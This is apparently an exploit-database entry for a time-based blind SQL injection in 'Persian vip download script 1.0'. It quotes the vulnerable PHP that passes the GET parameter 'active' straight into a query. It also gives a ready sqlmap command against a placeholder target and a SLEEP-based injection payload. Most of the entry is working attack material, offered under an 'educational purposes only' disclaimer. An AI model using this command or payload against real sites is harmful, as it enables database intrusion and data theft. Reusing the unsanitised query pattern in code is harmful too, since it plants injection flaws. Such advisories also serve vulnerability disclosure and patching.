Persian vip download script 1.0 active sql injection Vulnerability / Exploit
/
/
/
Exploits / Vulnerability Discovered : 2020-03-10 |
Type : webapps |
Platform : php
This exploit / vulnerability Persian vip download script 1.0 active sql injection is for educational purposes only and if it is used you will do on your own risk!
89: mysql_query $user_p = mysql_fetch_array(mysql_query("SELECT * FROM `users` where id='$active'"));
71: $active = $_GET['active'];
======================
sqlmap:
sqlmap -u "http://target.com/cart_edit.php?active=1" -p active --cookie=[COOKIE] --technique=T --dbs
=======================
Testing Method :
- time-based blind
Parameter: active (GET)
Type: time-based blind
Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
Payload: active=1' AND (SELECT 4169 FROM (SELECT(SLEEP(5)))wAin) AND 'zpth'='zpth
========================
Persian vip download script 1.0 active sql injection